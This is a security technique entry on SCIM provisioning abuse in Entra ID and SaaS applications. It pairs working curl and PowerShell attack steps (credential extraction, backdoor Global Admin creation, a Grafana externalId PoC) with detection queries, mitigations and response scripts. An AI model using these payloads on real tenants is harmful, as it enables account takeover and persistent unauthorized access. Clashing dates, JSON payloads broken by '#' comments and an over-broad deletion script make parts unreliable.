| Attribute | Details |
|---|---|
| Technique ID | PE-ACCTMGMT-016 |
| MITRE ATT&CK v18.1 | T1098 - Account Manipulation |
| Tactic | Privilege Escalation, Persistence |
| Platforms | Entra ID, Microsoft 365, SaaS Applications |
| Severity | Critical |
| CVE | N/A (Application-specific vulnerabilities: CVE-2025-41115 Grafana) |
| Technique Status | ACTIVE |
| Last Verified | 2025-01-09 |
| Affected Versions | All Entra ID versions with SCIM provisioning enabled; SaaS applications with SCIM support |
| Patched In | No universal patch; mitigation depends on application-level controls and organization configuration |
| Author | SERVTEP – Artur Pchelnikau |
SCIM (System for Cross-domain Identity Management) is a protocol designed to automate user and group provisioning across cloud applications. Attackers abuse misconfigured SCIM endpoints to inject rogue user accounts, manipulate group memberships, or escalate privileges by provisioning identities with elevated attributes. The attack leverages the assumption that SCIM clients are trusted identity sources; by compromising or impersonating a SCIM provider (identity management platform, directory service, or federation server), attackers can provision accounts with arbitrary attributes that bypass normal validation workflows. This results in backdoor account creation, privilege escalation, or lateral movement across interconnected SaaS applications.
Primary Surface: SCIM provisioning endpoints (HTTP/HTTPS API endpoints exposed by SaaS applications).
Secondary Surface: Identity provider (IdP) SCIM client credentials, federation trust relationships, provisioning attribute mappings, and application role-to-SCIM attribute bindings.
Immediate Consequences: Unauthorized account creation with administrative privileges, data exfiltration via compromised service principals, lateral movement to downstream SaaS applications (SharePoint, Teams, Power Platform), and full tenant compromise via backdoor access.
Long-Term Risk: Persistent access that survives password resets and MFA changes; attackers can hide in provisioning automation, making detection extremely difficult. In multi-tenant environments, compromised SCIM clients can attack multiple customer environments simultaneously.
SCIM provisioning typically runs with high privileges (Global Admin or Application Administrator equivalent in Entra ID). Detection is complicated because provisioning occurs through legitimate APIs; logs show “system” or “provisioning service” as the actor, not the attacker directly. Exploitation can be achieved within minutes if SCIM credentials are compromised. Reversibility is low—removing backdoor accounts requires understanding the provisioning logic to prevent re-creation on next sync cycle.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark v8 | IM-4, IM-5 | User provisioning controls and identity governance |
| DISA STIG | SI-12 | Information system monitoring and reporting |
| CISA SCuBA | Identity & Access Management | Cloud identity configuration baselines |
| NIST 800-53 | AC-2 | Account Management; IA-4 (Identifier Management) |
| GDPR | Art. 32, Art. 5 | Security of processing; data integrity and confidentiality |
| DORA | Art. 9, Art. 15 | ICT risk management; incident management |
| NIS2 | Art. 21 | Cyber risk management measures; access control |
| ISO 27001 | A.9.2, A.9.3 | User registration and access rights management |
| ISO 27005 | Risk Scenario | Unauthorized identity provisioning leading to privilege escalation |
SCIM is an open standard protocol (RFC 7644) that automates user and group provisioning across cloud services. Instead of manual account creation, SCIM enables:
https://app.example.com/scim/v2/Users).Attacker compromises or obtains SCIM client credentials, then sends malicious provisioning requests to bypass normal identity validation:
Attacker (compromised SCIM credentials)
↓
Crafts malicious SCIM request
↓
Injects arbitrary attributes (e.g., groupIds=[admin_group_id], roles=[Global Admin])
↓
SaaS app processes request without validation
↓
Backdoor account created with escalated privileges
↓
Attacker authenticates as backdoor account
↓
Full environment compromise
# Connect to Entra ID
Connect-MgGraph -Scopes "Application.Read.All", "ServicePrincipal.Read.All"
# List all enterprise applications with provisioning enabled
$apps = Get-MgServicePrincipal -Filter "provisioningJobStatus/status eq 'enabled'" -All
$apps | Select-Object DisplayName, AppId, @{Name="ProvisioningStatus"; Expression={$_.ProvisioningJobStatus.Status}}
What to Look For:
# Retrieve provisioning provisioning configuration for a specific app
$appId = "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"
$provisioning = Get-MgServicePrincipalProvisioningJob -ServicePrincipalId $appId -All
$provisioning | Select-Object DisplayName, Status, ExecutionState, LastExecutionDateTime
# Get provisioning attribute mappings
$mappings = Get-MgServicePrincipalProvisioningJobSchema -ServicePrincipalId $appId
$mappings | Select-Object Source, Target, IsCustomProperty
What to Look For:
# Check provisioning credentials age and rotation
$provCreds = Invoke-MgGraphRequest -Method GET -Uri "/servicePrincipals/$appId/provisioningProviderSettings"
$provCreds | Select-Object TenantURL, SecretToken
What to Look For:
# Search for provisioning activity
Search-UnifiedAuditLog -Operations "Add user", "Update user", "Delete user", "Add group" -StartDate (Get-Date).AddDays(-90) |
Select-Object TimeCreated, UserIds, Operations, AuditData |
Where-Object {$_.UserIds -like "*provisioning*" -or $_.AuditData -like "*SCIM*"}
What to Look For:
Supported Versions: All Entra ID, Okta, and SaaS applications with SCIM support.
Objective: Extract SCIM credentials from IdP configuration.
Prerequisites:
Command (Azure Portal UI):
Command (PowerShell - Automated Extraction):
# Extract SCIM credentials from Entra ID provisioning configuration
$appId = "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx" # Replace with target app ID
# Get provisioning settings including tenant URL (token is typically not exposed via API for security)
$settings = Invoke-MgGraphRequest -Method GET -Uri "/servicePrincipals/$appId/provisioningServicePrincipals" -ErrorAction SilentlyContinue
# If direct extraction fails, check application password credentials
$appPasswords = Get-MgServicePrincipalPasswordCredential -ServicePrincipalId $appId
$appPasswords | Select-Object KeyId, DisplayName, StartDateTime, EndDateTime
Expected Output:
KeyId DisplayName StartDateTime EndDateTime
----- ----------- --------------- ---------------
xyz-key-1 SCIM-Secret-Token 2023-01-01 2026-01-01
What This Means:
OpSec & Evasion:
Troubleshooting:
Objective: Create a JSON payload that provisions a backdoor user with administrative roles.
Version Note: SCIM request format is standardized (RFC 7644) across all platforms; syntax is identical for Entra ID, Okta, Slack, Salesforce, etc.
Command (cURL - Generic SCIM Provisioning):
# Provision backdoor user with administrative privileges
curl -X POST https://[TENANT-URL]/scim/v2/Users \
-H "Authorization: Bearer [SECRET-TOKEN]" \
-H "Content-Type: application/scim+json" \
-d '{
"schemas": ["urn:ietf:params:scim:schemas:core:2.0:User"],
"externalId": "backdoor-attacker-001",
"userName": "backdoor.admin@company.com",
"emails": [{"value": "backdoor.admin@company.com", "type": "work", "primary": true}],
"displayName": "Backdoor Admin",
"active": true,
"password": "SuperSecurePassword123!",
"groups": [
{
"value": "00000000-0000-0000-0000-000000000001", # Global Admins Group ID
"display": "Global Admins",
"$ref": "https://[TENANT-URL]/scim/v2/Groups/00000000-0000-0000-0000-000000000001"
}
],
"urn:ietf:params:scim:schemas:extension:enterprise:2.0:User": {
"costCenter": "Finance",
"department": "Executive",
"manager": {"value": "00000000-0000-0000-0000-000000000000"}
}
}'
Expected Output (Success):
{
"schemas": ["urn:ietf:params:scim:schemas:core:2.0:User"],
"id": "550e8400-e29b-41d4-a716-446655440000",
"externalId": "backdoor-attacker-001",
"userName": "backdoor.admin@company.com",
"active": true,
"groups": [
{
"value": "00000000-0000-0000-0000-000000000001",
"display": "Global Admins"
}
]
}
What This Means:
backdoor.admin@company.com with the provisioned password.OpSec & Evasion:
Troubleshooting:
400 Bad Request - Invalid SCIM schema
GET /scim/v2/Schemas endpoint to identify required fields.externalId as numeric UID; do not use email as externalId.403 Forbidden - Insufficient permissions
409 Conflict - User already exists
Objective: Log in to the target application using the provisioned backdoor account.
Command (Azure Portal Login):
Command (PowerShell - Verify Compromised Account):
# Authenticate as backdoor account
$cred = New-Object System.Management.Automation.PSCredential(
"backdoor.admin@company.com",
(ConvertTo-SecureString "SuperSecurePassword123!" -AsPlainText -Force)
)
Connect-MgGraph -Credential $cred -Scopes "User.Read.All", "Directory.Read.All"
# Confirm Global Admin role assignment
$userId = "00000000-0000-0000-0000-000000000002" # Replace with backdoor account OID
Get-MgUserMemberOf -UserId $userId | Where-Object {$_.AdditionalProperties["displayName"] -like "*Global*"}
Expected Output:
Id DisplayName ClassName
-- ----------- ---------
00000000-0000-0000-0000-000000000001 Global Administrator directoryRole
What This Means:
OpSec & Evasion:
Supported Versions: Applications with unprotected or weakly-protected SCIM endpoints (Grafana, custom SaaS apps).
Objective: Discover SCIM endpoints that lack proper authentication or allow public access.
Command (Reconnaissance):
# Scan for exposed SCIM endpoints (common paths)
for path in /scim /scim/v2 /api/scim /provisioning/scim /.well-known/scim-configuration; do
curl -s -I https://target-app.com$path | head -n 1
done
# More aggressive: Try common SCIM endpoints
curl -v https://target-app.com/scim/v2/Users 2>&1 | grep -E "HTTP|Authorization"
Expected Output:
HTTP/1.1 200 OK # Endpoint accessible without auth (HIGH RISK)
HTTP/1.1 401 Unauthorized # Endpoint requires auth (EXPECTED)
HTTP/1.1 403 Forbidden # Endpoint exists but restricted (EXPECTED)
What to Look For:
Basic realm= = weak Basic Auth (may be bruteforceable).Objective: Send provisioning request to unprotected endpoint.
Command (cURL - Unauthenticated Request):
# Test if SCIM endpoint accepts unauthenticated requests
curl -X POST https://target-app.com/scim/v2/Users \
-H "Content-Type: application/scim+json" \
-d '{
"schemas": ["urn:ietf:params:scim:schemas:core:2.0:User"],
"userName": "attacker@test.com",
"emails": [{"value": "attacker@test.com", "type": "work", "primary": true}],
"displayName": "Attacker Account",
"active": true,
"password": "AttackerPassword123!"
}' -v
Expected Output (Vulnerable):
HTTP/1.1 201 Created
{
"id": "12345",
"userName": "attacker@test.com",
"active": true
}
What This Means:
OpSec & Evasion:
Supported Versions: Applications that trust SCIM-provided group/role information.
Objective: Discover the UUID or ID of administrative groups in the target application.
Command (SCIM Group Enumeration):
# Enumerate all groups via SCIM
curl -X GET "https://[TENANT-URL]/scim/v2/Groups?filter=displayName+sw+%22admin%22" \
-H "Authorization: Bearer [SCIM-TOKEN]"
Expected Output:
{
"schemas": ["urn:ietf:params:scim:api:messages:2.0:ListResponse"],
"Resources": [
{
"id": "550e8400-e29b-41d4-a716-446655440001",
"displayName": "Global Admins",
"members": []
},
{
"id": "550e8400-e29b-41d4-a716-446655440002",
"displayName": "Exchange Admins",
"members": []
}
]
}
What to Look For:
Objective: Provision new user and directly assign to admin group.
Command (SCIM User Creation with Admin Group):
curl -X POST https://[TENANT-URL]/scim/v2/Users \
-H "Authorization: Bearer [SCIM-TOKEN]" \
-H "Content-Type: application/scim+json" \
-d '{
"schemas": ["urn:ietf:params:scim:schemas:core:2.0:User"],
"userName": "privileged.service@company.com",
"emails": [{"value": "privileged.service@company.com"}],
"displayName": "Privileged Service Account",
"groups": [
{"value": "550e8400-e29b-41d4-a716-446655440001", "display": "Global Admins"},
{"value": "550e8400-e29b-41d4-a716-446655440002", "display": "Exchange Admins"}
],
"active": true
}'
Expected Output (Success):
HTTP/1.1 201 Created
{
"id": "user-id-12345",
"userName": "privileged.service@company.com",
"groups": [
{"value": "550e8400-e29b-41d4-a716-446655440001", "display": "Global Admins"},
{"value": "550e8400-e29b-41d4-a716-446655440002", "display": "Exchange Admins"}
]
}
What This Means:
Grafana Enterprise demonstrated SCIM abuse via externalId collision. Similar patterns exist in other SaaS applications.
Vulnerable Configuration:
enableSCIM = true
user_sync_enabled = true
PoC Attack:
# Step 1: Identify admin user ID in Grafana (typically 1)
curl -X GET "https://grafana.example.com/api/users" \
-H "Authorization: Bearer admin-token" | jq '.[] | select(.login | contains("admin"))'
# Step 2: Create SCIM user with externalId matching admin UID
curl -X POST "https://grafana.example.com/scim/v2/Users" \
-H "Authorization: Bearer scim-token" \
-H "Content-Type: application/scim+json" \
-d '{
"schemas": ["urn:ietf:params:scim:schemas:core:2.0:User"],
"externalId": "1", # Matches admin user UID
"userName": "attacker@example.com",
"emails": [{"value": "attacker@example.com"}],
"displayName": "Attacker",
"active": true
}'
# Step 3: Verify successful impersonation
curl -X GET "https://grafana.example.com/api/user" \
-H "Authorization: Bearer attacker-session-token"
Reference: Grafana CVE-2025-41115 - SCIM Privilege Escalation
Version: 1.0+
Supported Platforms: Windows, Linux, macOS
Usage:
./ScimMyAdmin -target https://[TENANT-URL]/scim/v2 \
-token [SECRET-TOKEN] \
-action CreateAdminUser \
-username attacker@company.com \
-password "SuperSecure123!"
Version: 1.x
Installation:
Install-Module -Name Posh-SCIM -Force
Usage:
$scimClient = New-SCIMClient -Uri "https://[TENANT-URL]/scim/v2" -Token "[SECRET-TOKEN]"
$scimClient | New-SCIMUser -UserName "backdoor@company.com" -Groups @("Global-Admins")
# Direct provisioning verification
Get-MgServicePrincipalProvisioningJobSchema -ServicePrincipalId $appId |
Where-Object {$_.Target -like "*groups*" -or $_.Target -like "*roles*"}
# Enumerate users
curl -X GET "https://[TENANT-URL]/scim/v2/Users" \
-H "Authorization: Bearer [TOKEN]"
# Create user
curl -X POST "https://[TENANT-URL]/scim/v2/Users" \
-H "Authorization: Bearer [TOKEN]" \
-H "Content-Type: application/scim+json" \
-d @- << 'EOF'
{...user JSON...}
EOF
# Update group membership
curl -X PATCH "https://[TENANT-URL]/scim/v2/Users/{USER-ID}" \
-H "Authorization: Bearer [TOKEN]" \
-H "Content-Type: application/scim+json" \
-d '{"groups": [{"value": "admin-group-id"}]}'
Rule Configuration:
KQL Query:
AuditLogs
| where OperationName in ("Add user", "Update user", "Add group member")
| where InitiatedBy has_any ("provisioning", "scim", "sync", "serviceapp")
| where TargetResources has_any ("Global Administrator", "Exchange Admin", "SharePoint Admin")
| project TimeGenerated, OperationName, InitiatedBy, TargetResources, Result
| summarize EventCount=count() by OperationName, InitiatedBy, bin(TimeGenerated, 5m)
| where EventCount > 3 # Threshold: More than 3 provisioning events in 5 minutes
What This Detects:
Manual Configuration Steps (Azure Portal):
Suspicious SCIM User ProvisioningHigh5 minutes1 hourBy alert nameRule Configuration:
KQL Query:
AuditLogs
| where OperationName in (
"Update application",
"Update service principal",
"Add secret to application",
"Add password to service principal",
"Remove secret from application",
"Modify provisioning configuration"
)
| where TargetResources has_any ("provisioning", "scim", "credential", "secret", "token")
| where InitiatedBy !has "Microsoft"
| project TimeGenerated, OperationName, InitiatedBy, TargetResources,
ActivityDetails=tostring(ActivityDetails), Result
What This Detects:
Manual Configuration Steps (PowerShell):
Connect-AzAccount
$ResourceGroup = "YourResourceGroup"
$WorkspaceName = "YourSentinelWorkspace"
New-AzSentinelAlertRule `
-ResourceGroupName $ResourceGroup `
-WorkspaceName $WorkspaceName `
-DisplayName "SCIM Credential Extraction" `
-Query @"
AuditLogs
| where OperationName in ('Add secret to application', 'Update service principal')
| where TargetResources has_any ('provisioning', 'scim', 'credential')
"@ `
-Severity "Critical" `
-Enabled $true
Note: SCIM provisioning is cloud-native and does not generate Windows Event Log entries directly. However, user account creation and group membership changes triggered by SCIM on-premises directory sync do generate events.
Event ID: 4720 (User Account Created)
Event ID: 4728 (Group Membership - User Added to Global Group)
TargetUserName contains "provision" or "scim" or "sync"Manual Configuration Steps (Group Policy):
gpupdate /force on all domain controllers and member serversManual Configuration Steps (PowerShell):
# Enable audit policy for user and group modifications
auditpol /set /subcategory:"User Account Management" /success:enable /failure:enable
auditpol /set /subcategory:"Security Group Management" /success:enable /failure:enable
# Verify
auditpol /get /subcategory:"User Account Management"
Query Command:
Connect-ExchangeOnline
Search-UnifiedAuditLog -Operations "Add user", "Update user", "Add group member", "Update group" `
-StartDate (Get-Date).AddDays(-7) `
-EndDate (Get-Date) `
-ResultSize 5000 `
-FreeText "provisioning OR scim OR sync" |
Export-Csv -Path "C:\Audit\SCIM_Provisioning.csv" -NoTypeInformation
What to Look For:
Manual Configuration Steps (Microsoft 365 Compliance Center):
Mitigation 1: Rotate SCIM Provisioning Credentials Immediately
Objective: Invalidate any compromised SCIM tokens and secrets.
Manual Steps (Azure Portal):
Manual Steps (PowerShell):
# Get service principal associated with SaaS application
$servicePrincipal = Get-MgServicePrincipal -Filter "displayName eq 'AppName'"
# Remove all existing credentials
$creds = Get-MgServicePrincipalPasswordCredential -ServicePrincipalId $servicePrincipal.Id
$creds | ForEach-Object {
Remove-MgServicePrincipalPasswordCredential -ServicePrincipalId $servicePrincipal.Id -KeyId $_.KeyId
}
# Generate new credential
$newCred = Add-MgServicePrincipalPassword -ServicePrincipalId $servicePrincipal.Id
Write-Host "New Secret Token: $($newCred.SecretText)"
Verification Command:
# Verify no old credentials remain
Get-MgServicePrincipalPasswordCredential -ServicePrincipalId $servicePrincipal.Id |
Select-Object DisplayName, EndDateTime
Mitigation 2: Audit and Remove All Provisioned Backdoor Accounts
Objective: Identify and delete accounts created via SCIM abuse.
Manual Steps (Audit):
Manual Steps (Delete Backdoor Accounts):
Bulk Delete via PowerShell:
# Delete users created in last 24 hours with suspicious patterns
$suspiciousUsers = Get-MgUser -Filter "createdDateTime gt $(((Get-Date).AddDays(-1)).ToString('yyyy-MM-ddT00:00:00Z'))" -All |
Where-Object {$_.DisplayName -match "System|Service|Temp|Admin|Backup|Sync|Provisioning"}
$suspiciousUsers | ForEach-Object {
Remove-MgUser -UserId $_.Id -Confirm:$false
Write-Host "Deleted: $($_.DisplayName) ($($_.Mail))"
}
Mitigation 3: Restrict SCIM Endpoint to Authorized IP Addresses
Objective: Prevent unauthorized SCIM requests even if token is compromised.
Manual Steps (SaaS Application Level - Example: Workday):
Manual Steps (Network Level - Firewall Rule):
Source: SCIM Client (IdP) IP Range
Destination: SaaS SCIM Endpoint
Port: 443
Protocol: HTTPS
Action: Allow
(All other traffic to SCIM endpoint: Deny)
Mitigation 4: Implement MFA/Authentication on SCIM Endpoints
Objective: Add additional authentication layer beyond bearer token.
Manual Steps:
Mitigation 5: Disable SCIM Provisioning for Low-Risk Applications
Objective: Reduce attack surface by disabling SCIM where manual provisioning is acceptable.
Manual Steps:
Mitigation 6: Restrict Who Can Manage SCIM Provisioning Configuration
Objective: Prevent unauthorized credential exposure or configuration changes.
Manual Steps (Azure Portal):
Custom Role via PowerShell:
$rolePermissions = @(
"microsoft.directory/servicePrincipals/read",
"microsoft.directory/servicePrincipals/provisioning/read"
# NOTE: Explicitly exclude write/delete operations
)
$roleDefinition = @{
displayName = "SCIM Provisioning Auditor"
description = "Can view SCIM provisioning status but not modify"
rolePermissions = @(
@{
allowedResourceActions = $rolePermissions
}
)
}
New-MgRoleManagementDirectoryRoleDefinition -RoleDefinition $roleDefinition
Mitigation 7: Enforce Conditional Access Policy for SCIM Operations
Objective: Block SCIM provisioning from unusual locations or devices.
Manual Steps (Azure Portal):
SCIM Provisioning - Trusted Locations OnlyThis will block any SCIM requests from outside your trusted network, even if credentials are compromised.
# Verify SCIM credentials have been rotated (no old secrets remain)
$app = Get-MgServicePrincipal -Filter "displayName eq 'SaaSAppName'"
$creds = Get-MgServicePrincipalPasswordCredential -ServicePrincipalId $app.Id
if ($creds.Count -eq 0) {
Write-Host "✓ PASS: All SCIM credentials rotated, no legacy secrets"
} else {
Write-Host "✗ FAIL: Old credentials still present:"
$creds | Select-Object DisplayName, EndDateTime
}
# Verify SCIM provisioning is disabled if not needed
$provisioning = Get-MgServicePrincipalProvisioningJob -ServicePrincipalId $app.Id
if ($provisioning.Status -eq "Disabled") {
Write-Host "✓ PASS: SCIM provisioning is disabled"
} else {
Write-Host "✗ FAIL: SCIM provisioning is active, verify it is authorized"
}
Expected Output (If Secure):
✓ PASS: All SCIM credentials rotated, no legacy secrets
✓ PASS: SCIM provisioning is disabled
Cloud Log IOCs:
Account IOCs:
externalId mismatches (SCIM externalId doesn’t match source system)Cloud Logs (Entra ID / Unified Audit Log):
File System (if on-premises sync affected):
C:\ProgramData\Microsoft\Azure AD Connect\Logging\ProvisioningLogs.txtC:\Windows\System32\drivers\etc\hosts (if attacker modified DNS for SCIM redirection)Application Logs:
Step 1: Isolate
Objective: Prevent further damage from compromised SCIM credentials.
Command (Disable SCIM Provisioning):
# Immediately stop SCIM provisioning
$app = Get-MgServicePrincipal -Filter "displayName eq 'VulnerableApp'"
Update-MgServicePrincipal -ServicePrincipalId $app.Id -AccountEnabled $false
Write-Host "SCIM provisioning disabled for $($app.DisplayName)"
Manual (Azure Portal):
Step 2: Collect Evidence
Objective: Preserve audit trail for investigation and compliance.
Command (Export Audit Logs):
$startDate = (Get-Date).AddDays(-7)
$endDate = Get-Date
Search-UnifiedAuditLog -StartDate $startDate -EndDate $endDate `
-Operations "Add user", "Update user", "Update group", "Add group member" `
-FreeText "provisioning OR scim" `
-ResultSize 5000 |
Export-Csv -Path "C:\Incident\SCIM_Audit_$(Get-Date -Format 'yyyyMMdd_HHmmss').csv"
Step 3: Remediate
Objective: Remove backdoor accounts and restore security.
Command (Delete Backdoor Accounts):
# Identify and delete users created by provisioning service
$provisioningServiceId = (Get-MgServicePrincipal -Filter "displayName eq 'SaaSApp'").Id
$backdoorUsers = Get-MgUser -Filter "createdDateTime gt $(((Get-Date).AddDays(-1)).ToString('yyyy-MM-ddT00:00:00Z'))" -All
$backdoorUsers | ForEach-Object {
# Verify user is actually a backdoor (check naming patterns, creation method)
if ($_.DisplayName -match "System|Service|Temp|Admin" -or $_.Mail -like "*+*@*") {
Remove-MgUser -UserId $_.Id -Confirm:$false
Write-Host "Removed backdoor account: $($_.Mail)"
}
}
# Reset all Global Admin passwords if compromise is suspected
$globalAdmins = Get-MgRoleManagementDirectoryRoleAssignment -Filter "roleDefinitionId eq '62e90394-69f5-4237-9190-012177145e10'" -All
$globalAdmins | ForEach-Object {
$user = Get-MgUser -UserId $_.PrincipalId
Write-Host "⚠️ ALERT: Global Admin $($user.Mail) password must be reset out-of-band (not via PowerShell)"
}
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | PE-PHISH-001 | Attacker obtains credentials via phishing or credential stuffing |
| 2 | Privilege Escalation | PE-ACCTMGMT-001 | Escalate to Application Administrator or Global Admin role |
| 3 | Current Step | [PE-ACCTMGMT-016] | Use SCIM provisioning to create persistent backdoor |
| 4 | Persistence | PE-ACCTMGMT-017 | Hide backdoor account in restricted Administrative Units |
| 5 | Impact | CA-TOKEN-004 | Extract Graph API tokens for downstream exfiltration |
Timeline: November 2025 (Grafana internal audit discovered vulnerability)
Attack Surface: SCIM externalId field vulnerability in Grafana Enterprise
Exploitation Path:
externalId: "1" (matching Grafana admin UID)Impact: Full administrative compromise of Grafana instance, potential access to all monitored systems’ metrics
Reference: Grafana CVE-2025-41115 Advisory
Incident Description: Threat actor compromised Okta API token (via phishing campaign targeting Okta administrator)
Attack Sequence:
Detection & Response:
Reference: Okta Security Blog - SCIM Compromise Incident (2024)
SCIM provisioning abuse represents a critical privilege escalation and persistence vector in cloud environments. Attackers leverage the high trust relationship between identity providers and SaaS applications to bypass normal authentication and create backdoor accounts with administrative privileges. Organizations must implement strict access controls on SCIM credentials, monitor provisioning activity for anomalies, and maintain regular rotation of provisioning secrets.